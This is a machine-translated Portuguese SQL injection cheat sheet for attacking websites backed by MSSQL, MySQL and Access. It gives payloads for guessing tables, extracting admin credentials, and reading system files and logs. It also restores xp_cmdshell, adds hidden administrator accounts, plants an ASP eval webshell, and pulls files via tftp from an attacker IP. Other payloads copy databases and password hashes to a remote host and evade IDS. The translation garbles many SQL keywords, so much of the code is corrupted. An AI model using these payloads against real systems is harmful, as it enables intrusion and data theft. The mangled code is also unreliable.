Consultas MSSQL cross-database (comida fedimentosa!) Sombrio)
Extrair até a última gota do MS SQL
Referências de instruções SQL e objetos de recordet são explicados em detalhes
Sobre procedimentos armazenados no SQL Server
Crie um webshell com backup do mssql
SQL_Injection Aplicações avançadas
Injeção SQL entre sites (laokai)
Injeção Estranha de SQL (AMANL)
Injeção avançada de SQL em aplicações SQL Server
Como usar injeção SQL para percorrer diretórios
Guia guia das técnicas de injeção SQL (Tradutor: demonalex)
Alguns ataques a bancos de dados SQL
Técnica de Ataque por Injeção SQL (JSW)
SQL_Injection Aplicações Avançadas (APACHY)
Métodos Incomuns de Injeção SQL (Guilin Veteran)
Faça backup de um shell
Fale sobre a estrutura da instrução de injeção php+mysql (Heyhehehehe·≯Super· Hei)
Injeção Avançada de SQL com MySQL(anjo)
L'injection (My)SQL via PHP
Linguagem Oracle SQL
Enciclopédia de injeção manual de SQL
Os pré-requisitos exigem ferramentas: SQL Query Analyzer e SqlExec Sunx Version ============================================================================================== 1. Determinar se existe um ponto de injeção ; e 1=1 e 1=2 2. Acho que o nome da tabela não passa de adminadmin, administrador, usuário, usuário, senha, etc.: e 0<>(select count(*) de *) e 0<>(select count(*) from admin) — Determinar se a tabela de admin existe 3. Adivinhe o número de contas Se encontrar 0< volte para a página correta 1< retorne a página de erro indicando que o número de contas é 1 e 0<(select count(*) do admin) e 1<(select count(*) do admin) 4. Adivinhe o nome do campo. Adicione o nome do campo que pensamos entre parênteses len( ). e 1=(selecionar contagem(*) do admin onde len(*)>0)– e 1=(select count(*) do admin onde len(nome do campo do usuário)>0) e 1=(selecione contagem(*) do administrador onde len(_blank>nome do campo senha)>0) 5. Adivinhar o comprimento de cada campo Adivinhar o comprimento é transformar >0 até que a página correta seja retornada e 1=(select count(*) do admin onde len(*)>0) e 1=(select count(*) do admin onde erro len(name)>6) e 1=(select count(*) do admin onde len(name)>5) O comprimento correto é 6 e 1=(select count(*) do admin onde len(name)=6) está correto e 1=(select count(*) do admin onde len(password)>11) está correto e 1=(select count(*) do admin onde o comprimento do erro len(password)>12) é 12 e 1=(select count(*) do admin onde len(password)=12) está correto 6. Adivinhe os personagens e 1=(select count(*) do admin onde left(name,1)=a) — Adivinhe o primeiro dígito da conta do usuário e 1=(select count(*) do admin onde left(name,2)=ab)—Adivinhe o segundo dígito da conta do usuário Basta adicionar um caractere de cada vez para adivinhar, adivinhar quantos dígitos você acabou de adivinhar, e o número da conta vai aparecer (1) Adivinhe o nome da mesa
Frases usadas: e existe (selecione * do nome da tabela)
Por exemplo: e existe (selecione * do administrador)
Se a página ecoar corretamente, significa que o nome da tabela que adivinhamos aqui está correto, e se a página estiver errada, então significa que o nome da tabela que escrevemos aqui está errado
, então mude o nome da tabela e continue tentando chutar até acertar.
Geralmente, nomes de tabelas mais usados incluem admin, gerenciar, usuário ou colocar na ferramenta de execução (2) Adivinhar o campo
Frases usadas: e existe (selecione o nome do campo a partir do nome da tabela)
Por exemplo: e existe (selecione o nome de usuário do administrador)
Aqui, assumindo que a tabela de administração é a que acertei acima, então quero determinar se o campo de nome de usuário existe, preciso usar esta instrução, se a página
Se o eco da face estiver correto, significa que o nome do campo que chutamos aqui está correto, e se a página estiver errada, então significa que o nome do campo que escrevemos aqui está errado
, então mude o nome do campo e continue tentando até adivinhar.
Geralmente, nomes comuns de campos incluem nome de usuário, senha, usuário, passe, nome, pass, pwd, usr, psd e outros campos (3) ordem por
A ordem por é obter a soma do número de campos naquela página, preparando-se para a próxima consulta conjunta (4) União Seletiva
1. Se você suporta consulta conjunta, encontre o bit de exibição http://www.xxx.com/product_show.asp?id=1 e a seleção de união 1=2
1,2,3,4,5,6,7,8,9,10,11 Suponha que os bits de exibição sejam 5,6. Em seguida, só precisamos substituir os nomes dos campos correspondentes ao nome de usuário e senha do administrador pela posição do bit de exibição aqui
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 do admin encontrei o login em segundo plano 2. Se a consulta conjunta não for suportada O nome de usuário e a senha do administrador não podem ser obtidos sem consulta conjunta - usando decodificação Ascii palavra por palavra Dois Use a ordem por para julgar o número de bits na tabela e, se não funcionar, use o union select para organizá-los um por um; aqui assumimos 8 bits Três Use uma consulta conjunta para determinar os bits de exibição Quatro Use o bit de exibição para encontrar o nome do banco de dados, versão do banco de dados, 5.0 ou superior que pode ser injetada
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,usuário(),0x5c, versão(),8 Cinco Com o nome do banco de dados, você pode começar a obter o nome da tabela schema = seguido pelo valor HEX do nome do banco de dados, e adivinhar o nome da tabela
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +de+information_schema.colunas+onde+ table_schema=0x666C6965725F6462617365 Seis O nome da tabela analisada determina o valor HEX do nome da tabela do administrador=nome da tabela, e adivinha os campos da tabela http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Sete Depois de pegar os campos na tabela de administração, vamos pegar o conteúdo dos campos http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO
+nome de usuário, 0x5f,userpwd),8+de+pub_webmaster Oito A ferramenta escaneia o histórico: faça login para enviar o Trojan após encontrá-lo, e se não conseguir encontrar o arquivo robots.txt, pode acessar Nove Se você não conseguir encontrar o histórico, a senha do administrador do MYSQL será exposta http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(usuário, senha),8+de+mysql.user Dez Acesse aleatoriamente um caminho, e o feedback é a página padrão 404 do IIS6, indicando que o servidor do site é: Windows+IIS6+php+ambiente MySql c:\\windows\\system32\\inetsrv\\MetaBase.xml Esse caminho pode obter informações de configuração do site. Instruções de construto http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Onze Analise o código e encontre o endereço de fundo No primeiro passo, precisamos obter o comprimento dos campos na tabela Afirmações usadas: e (selecione a lente top 1 (nome do campo) do nome da tabela)>0 Como o quê: e (selecione top 1 len(admin_name) no admin)>0 A página é exibida normalmente, o comprimento do campo admin_name é maior que 0, e eu enviarei:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 A página exibe um erro indicando que o campo está entre 0 e 10, e o comprimento é 5 usando a dicotomia Usando o mesmo método para determinar o comprimento do campo da senha do administrador, obtenho um comprimento de 16 Passo 2 Agora vamos para o segundo passo, pegar um certo caractere no campo e obter o código ASCII do caractere, que é usado
Declaração: e (selecione top 1 asc(meio-campista(nome do campo, N,1)) do nome da tabela)>0 Deixe-me analisar essa frase separadamente, primeiro, a função mais interna, mid(nome de usuário, 1,1), que é o primeiro caractere do campo admin_name, N
indica que os primeiros caracteres devem ser interceptados, Então a função externa asc(), que converte os caracteres interceptados pela função intermediária em código ASCII, o top 1 mais externo, representa o campo de retorno do primeiro lugar
Um recorde, então, O ">0" no final serve para comparar o código ASCII convertido com esse número e, finalmente, obter a interceptação alterando constantemente o último valor
Descubra o perfil específico desse personagem Código ASCII Submissão:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 A página é exibida normalmente, indicando que o código ASCII desse caractere é maior que 30. Submissão:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 A página é exibida normalmente, indicando que o código ASCII desse caractere é maior que 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 O código ASCII que acabei usando para esse personagem é 97 Compare a tabela ASCII: Pode-se concluir que o primeiro caractere é "a". Depois, vou julgar o código ASCII do segundo caractere.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 A página é exibida normalmente, indicando que o código ASCII do caractere é maior que 90, e o último valor é sempre alterado O mesmo método gerou a senha do administrador, e o resultado que obtive foi:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 e 1=(selecione o top 1 count(*) do Admin onde Asc(mid(pass,5,1))=51) – Essa instrução de consulta pode adivinhar o usuário chinês e _blank> senha. Basta substituir os números seguintes pelo código ASSIC chinês
Converter para personagens.
agrupar por users.id tendo 1=1–www.myhack58.com Agrupe por users.id, users.username, users.password, users.privs tendo 1=1– ; inserir nos usuários valores( 666, atacante, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUNAS Onde
TABLE_blank>_NAME=logintable- UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUNAS Onde
TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)- UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUNAS Onde
TABLE_blank>_NAME=logintable Onde COLUMN_blank>_NAME NÃO EM
(login_blank>_id,login_blank>_name)- UNION Select TOP 1 login_blank>_name DO logintable- SUNIÃO Selecionar a senha TOP 1 DE logintable onde login_blank>_name=Rahul– Olhe o patch jogado pelo servidor _blank> = patch SP4 errado black bar safety net e 1=(selecionar @@VERSION)–
Olhe as permissões da conta de conexão do banco de dados _blank>, e ela retorna normalmente, provando que é a permissão de administrador do sistema do papel de servidor _blank>. e 1=(Selecionar IS_blank>_SRVROLEMEMBER(sysadmin))–
Determine a conta do banco de dados _blank> conectada. (Use a conta SA para conectar e devolver o normal = provar que a conta conectada é SA) e sa=(Selecionar System_blank>_user)– e user_blank>_name()=dbo– e 0<>(select user_blank>_name()–
Veja se xp_blank>_cmdshell exclui e 1=(Selecionar contagem(*) FROM master.dbo.sysobjects Onde xtype = X E nome = xp_blank>_cmdshell)
–
xp_blank>_cmdshell é deletado, restaurado e suporta recuperação absoluta de caminho ; EXECUTIVO master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell.xplog70.dll– ; EXECUTIVO master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== permissão do banco de dados é exposta ao código de caminho físico do site
========================================================================== 1、Drop Table [jm_tmp]; Create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Criar tabela
2、 excluir [jm_tmp]; Insira [jm_tmp] executivo master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Insira o diretório do site no campo tabela
3, e (selecione o 1 melhor conjurado([data] como nvarchar(4000) char(124) a partir da [jm_tmp] ordem por [data]
desc)=0 '//Campo exposto
4. Tabela de Descarte [jm_tmp] -- Exclua esta tabela. para o comando pegar a cápsula
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Outros caminhos da estação ======================load_file() Informações sensíveis comumente usadas =========================================== 1、 substituir(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32)) Os dois acima são para visualizar um arquivo PHP que exibe completamente o código. Há momentos em que alguns caracteres não são substituídos, como "<" em vez de "espaço" que retorna
Página da web. E o código não pode ser visualizado.
3. load_file(char(47)) pode listar o diretório raiz dos sistemas FreeBSD e Sunos
4. Visualize o arquivo de configuração virtual do host Linux APACHE em /etc/httpd/conf/httpd.conf ou /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf ou C:\apache\conf\httpd.conf para visualizar o WINDOWS
Arquivo System Apache
6. c:/Resin-3.0.14/conf/resin.conf Veja as informações de configuração do arquivo de resina do site desenvolvido pelo jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf para visualizar o host virtual JSP configurado no sistema Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /temas/darkblue_orange/layout.inc.php phpmyadmin explode path
11. C:\Windows\system32\inetsrv\MetaBase.xml Visualize o arquivo de configuração virtual do IIS
12. /usr/local/resin-3.0.22/conf/resin.conf para visualizar o arquivo de configuração RESIN para 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Igual ao acima
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Host virtual APASHE
15. /etc/sysconfig/iptables depende da política do firewall
16. /usr/local/app/php5 com configurações equivalentes a PHP php.ini
17. /etc/my.cnf arquivo de configuração MYSQL
18. Versão do Red Hat para sistema de lançamento /etc/redhat
19 、C:\mysql\data\mysql\user. MYD existe na senha do usuário no sistema MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 para visualizar IP.
21. /usr/local/app/php5 b/php.ini //configurações relacionadas ao PHP
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // configurações do site virtual
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\janelas\my.ini
25. /etc/issue exibe as informações de distribuição do kernel Linux
26、/etc/ftpuser
27. Verifique o arquivo de log de operações em user.bash_history LINUX ou .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/troncos/error.log .. /apache/troncos/access.log .. /.. /apache/troncos/error.log .. /.. /apache/troncos/access.log .. /.. /.. /apache/troncos/error.log .. /.. /.. /apache/troncos/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/troncos/error.log .. /apache/troncos/access.log .. /.. /apache/troncos/error.log .. /.. /apache/troncos/access.log .. /.. /.. /apache/troncos/error.log .. /.. /.. /apache/troncos/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Experimente PING reverso você mesmo ; usar mestre; declarar @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Executivo
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Adicionar uma conta ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c NET user jiaoniang$ 1866574 /add–
Crie um diretório virtual E-disk: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Atributos de acesso: (com escrita em um webshell) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Truque especial de _blank> para bursting na biblioteca: :%5c=\ ou modificar %5 com / e \ para comprometer e 0<>(selecione os caminhos top 1 do newtable)–
Pega o nome do banco de dados (de 1 a 5 são os IDs do sistema, e você pode avaliá-los acima de 6) e 1=(selecione o nome de master.dbo.sysdatabases onde dbid=7)– e 0<>(select count(*) a partir de master.dbo.sysdatabases onde name>1 e dbid=6) Submeter dbid por turno = 7,8,9.... Obtenha mais nomes _blank> bancos de dados
e 0<>(selecione o nome top 1 de bbs.dbo.sysobjects onde xtype=U) aparece em uma tabela assumindo admin e 0<>(selecione o nome top 1 de bbs.dbo.sysobjects onde xtype=você e nome não está em (Admin)).
Outras mesas. e 0<>(select count(*) de bbs.dbo.sysobjects onde xtype=você e name=admin e uid>(str(id))) O valor numérico do UID é assumido como 18779569 uid=id e 0<>(selecione o nome top 1 de bbs.dbo.syscolumns onde id=18779569) recebe um campo de admin, false
Ajustado para user_blank>_id e 0<>(selecione o nome top 1 de bbs.dbo.syscolumns onde id=18779569 e nome que não está em (id,...)) expor outros campos e 0<(selecione user_blank>_id em BBS.dbo.admin onde nome de usuário>1) para obter o nome de usuário Por sua vez, você pode obter _blank> senha。。。。。 Suponha que existam campos como user_blank>_id nome de usuário, senha, etc
e 0<>(select count(*) a partir de master.dbo.sysdatabases onde name>1 e dbid=6) e 0<>(selecione o nome top 1 de bbs.dbo.sysobjects onde xtype=U) para obter o nome da tabela e 0<>(selecione o nome top 1 de bbs.dbo.sysobjects onde xtype=você e name not in(Endereço)) e 0<>(select count(*) de bbs.dbo.sysobjects onde xtype=você e name=admin e uid>(str(id)))
Determinar o valor do id e 0<>(selecione o nome principal do 1 em BBS.dbo.syscolumns onde id=773577794) todos os campos
?id=-1 união selecionar 1,2,3,4,5,6,7,8,9,10,11,12,13,* de admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 do admin (o sindicato, o acesso também é fácil de usar)
Obtenha o caminho WEB ; Criar tabela [DBO]. [troca] ([swappass][char](255)); – e (selecione o top 1 swappass do swap)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Mestre... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
SAÍDA inserir em paths(paths) values(@test)– ; use ku1; – ; criar CMD de tabela (imagem STR); – Criar um cmd de tabela do tipo de imagem 1. A forma de remover o processo de extensão xp_cmdshell é usar a seguinte afirmação:
If exists (selecione * de dbo.sysobjects onde id=object_id(N'[dbo].[ xpcmdshell]') e
OBJECTPROPERTY(id,N'IsExtendedProc')=1) executivo sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. A forma de adicionar xp_cmdshell processo de extensão é usar a seguinte instrução:
(1) Analisador de Consultas SQL
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Primeiro, preencha percentuais na opção Formatar do SqlExec Sunx Version e insira na opção CMD
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
remover
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Existem xp_blank>_cmdshell processos de teste: ; Mestre Executivo... xp_blank>_cmdshell dir ; executivo master.dbo.sp_blank>_addlogin jiaoniang$; – Adicionar contas SQL ; exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; – ; executivo master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; Executivo master.dbo.xp_blank>_cmdshell usuário da internet jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; Exec master.dbo.xp_blank>_cmdshell NET Localgroup Administrators jiaoniang$ /add; – Mestre Executivo... xp_blank>_servicecontrol início, agende para iniciar _blank> serviço Mestre Executivo... xp_blank>_servicecontrol começo, servidor ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c NET user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c NET localgroup administrators jiaoniang$ /add ; Mestre Executivo... xp_blank>_cmdshell tftp - i youip get file.exe – Enviar arquivos usando TFTP
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; declarar @a; conjunto @a=db_blank>_name(); Backup do banco de dados @a para o disco=seu IP Seu diretório compartilhado bak.dat Se for restrito, sim. selecione * de openrowset(_blank>sqloledb,server; SA; ,selecione OK! Executivo
master.dbo.sp_blank>_addlogin hax)
Estrutura da Consulta: Selecione * DE notícias Onde id=... E tópico=... E ..... adminand 1=(select count(*) from [user] where username=victim e right(left(userpass,01),1)=1)
e UserPass <> selecione 123; – ; usar mestre; – :a ou nome como fff%; – Mostra um usuário chamado ffff. e 1<>(select count(email) de [usuário]); – ; Atualização [usuários] definir e-mail=(selecionar nome top 1 dos sysobjects onde xtype=você e status>0) onde
nome=ffff; – ; Atualização [usuários] definir e-mail=(selecionar top 1 id dos sysobjects onde xtype=você e nome=ad) onde
nome=ffff; – ; Atualizar [usuários] definir e-mail=(selecionar nome top 1 dos sysobjects onde xtype=você e id>581577110)
onde nome=ffff; – ; atualizar [usuários] definir e-mail=(selecionar contagem principal (id) da senha) onde nome=ffff; – ; atualizar [usuários] definir e-mail=(selecionar top 1 pwd da senha onde id=2) onde nome=ffff; – ; atualização [usuários] definir e-mail=(selecionar nome principal 1 da senha onde id=2) onde nome=ffff; – A afirmação acima é para obter a primeira tabela de usuário no banco de dados _blank> e colocar o nome da tabela no campo de e-mail do usuário ffff. Ao visualizar o perfil de usuário do ffff, você pode obter a primeira tabela chamada AD Depois, obtenha o ID dessa tabela de acordo com o anúncio do nome da tabela para obter o nome da segunda tabela
inserir em usuários valores( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– inserir nos valores dos usuários (667,123,123,0xffff)– insira nos usuários valores (123, admin–, senha, 0xffff)– ; e usuário>0 ; e (select count(*) a partir dos sysobjects)>0 ; e (select count(*) dos mysysobjects)>0 // para o banco de dados access_blank>
Enumere o nome da tabela de dados ; atualizar aaa set aaa=(selecionar o nome top 1 dos sysobjects onde xtype=você e status>0); – É aqui que o primeiro nome da tabela é atualizado para o campo AAA. Leia a primeira tabela, e a segunda tabela pode ser lida assim (adicione e nomeie após a condição<> o nome da tabela que você acabou de receber). ; atualizar aaa set aaa=(selecionar o nome top 1 dos sysobjects onde xtype=você e status>0 e
nome<>voto); – Então id=1552 e existe (selecione * de aaa onde aaa>5) Leia a segunda tabela e leia uma por uma até não haver mais nenhuma. O campo de leitura é assim: ; atualizar aaa set aaa=(selecionar top 1 col_blank>_name(object_blank>_id(nome da tabela),1)); – Então id=152 e exists (select * from aaa onde aaa>5) recebe um erro e obtém o nome do campo ; atualizar aaa set aaa=(selecionar top 1 col_blank>_name(object_blank>_id(nome da tabela),2)); – Então id=152 e exists (select * from aaa onde aaa>5) recebe um erro e obtém o nome do campo
[Obter nome da tabela de dados] [Atualize o valor do campo para o nome da tabela e depois leia o valor desse campo para obter o nome da tabela] Atualizar tabela nome set=(selecione o nome top 1 dos sysobjects onde xtype=você e status>0 [e nome<>
O nome da tabela que você recebe Encontre um mais um]) [onde condição] selecione o nome top 1 a partir de sysobjects onde xtype=você e
status>0 e nome não em(table1,table2,...) Criar uma conta de administrador de banco de dados e uma conta de administrador de sistema _blank> _blank> injeção de vulnerabilidades via SQLSERVER [A conta atual deve ser o grupo SYSADMIN]
[Obter Nome do Campo Datatable] [Atualize o valor do campo para o nome do campo e depois leia o valor desse campo para obter o nome do campo] Atualizar Nome da Tabela Conjunto Campo=(Selecione Top 1 col_blank>_name(object_blank>_id (nome da tabela de dados para consulta), coluna do campo
Por exemplo: 1) [onde condição]
Contornando a Detecção de IDS [Usando variáveis] ; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Abra o banco de dados remoto de _blank> Sintaxe básica select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, selecione * da tabela1 ) Parâmetros: (1) Nome do provedor OLEDB 2. O parâmetro da string de conexão pode ser qualquer porta para conectar, como select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,
selecione * da tabela 3. Copiar todo o banco de dados _blank> do host de destino e inserir todas as tabelas remotas na tabela local.
Sintaxe básica: inserir em OPENROWSET(SQLOLEDB, servidor=nome do servidor; uid=sa; pwd=123, selecione * da tabela1) selecione
* da Tabela2 Essa instrução linha copia todos os dados da tabela 2 no host de destino para a tabela 1 no banco de dados remoto de _blank>. Reparos apropriados em aplicação prática
Mude o endereço IP e a porta da string de conexão para apontar para onde você precisa, como: inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select
* da tabela1) selecionar * da tabela2 inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select
* de _blank>_sysdatabases) selecione * em master.dbo.sysdatabases inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select
* de _blank>_sysobjects) select * de user_blank>_database.dbo.sysobjects inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select
* de _blank>_syscolumns) selecione * de user_blank>_database.dbo.syscolumns Replicar _blank> banco de dados: inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select
* da Tabela1) selecionar * do banco de dados.. Tabela 1 inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select
* da Tabela 2) selecionar * do banco de dados.. Tabela2
O hash da senha que copia a senha de login _blank> da tabela de hash (HASH) é armazenado nos sysxlogins. Veja como: inserir em OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,selecionar * de _blank>_sysxlogins)
selecione * de database.dbo.sysxlogins Depois que você pega o hash, pode forçar o hash.
Para percorrer o diretório: Primeiro, crie uma tabela temporária: temp ; crie a temperatura da tabela (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; insira o executivo temporário master.dbo.xp_blank>_availablemedia; – Obter todos os drives atuais ; Inserir no Temp(ID) Exec master.dbo.xp_blank>_subdirs C:\; – Obter uma lista de subdiretórios ; Insira no Exec Temp(ID,Num1) master.dbo.xp_blank>_dirtree C:\; – Obter a estrutura de árvore de diretórios para todos os subdiretórios,
Unam as polegadas na tabela de temperatura ; Insira no Temp(id) Exec master.dbo.xp_blank>_cmdshell Tipo C:\Web\index.asp; – Visualizar um arquivo
Conteúdo ; Insira no Diretor Executivo Temp(ID) master.dbo.xp_blank>_cmdshell C:\; – ; inserir no temp(id) exec master.dbo.xp_blank>_cmdshell diretor c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs ENUM W3SVC ; Insira no Exec Temp(ID,Num1) master.dbo.xp_blank>_dirtree C:\; – (xp_blank>_dirtree Autoridade Aplicável
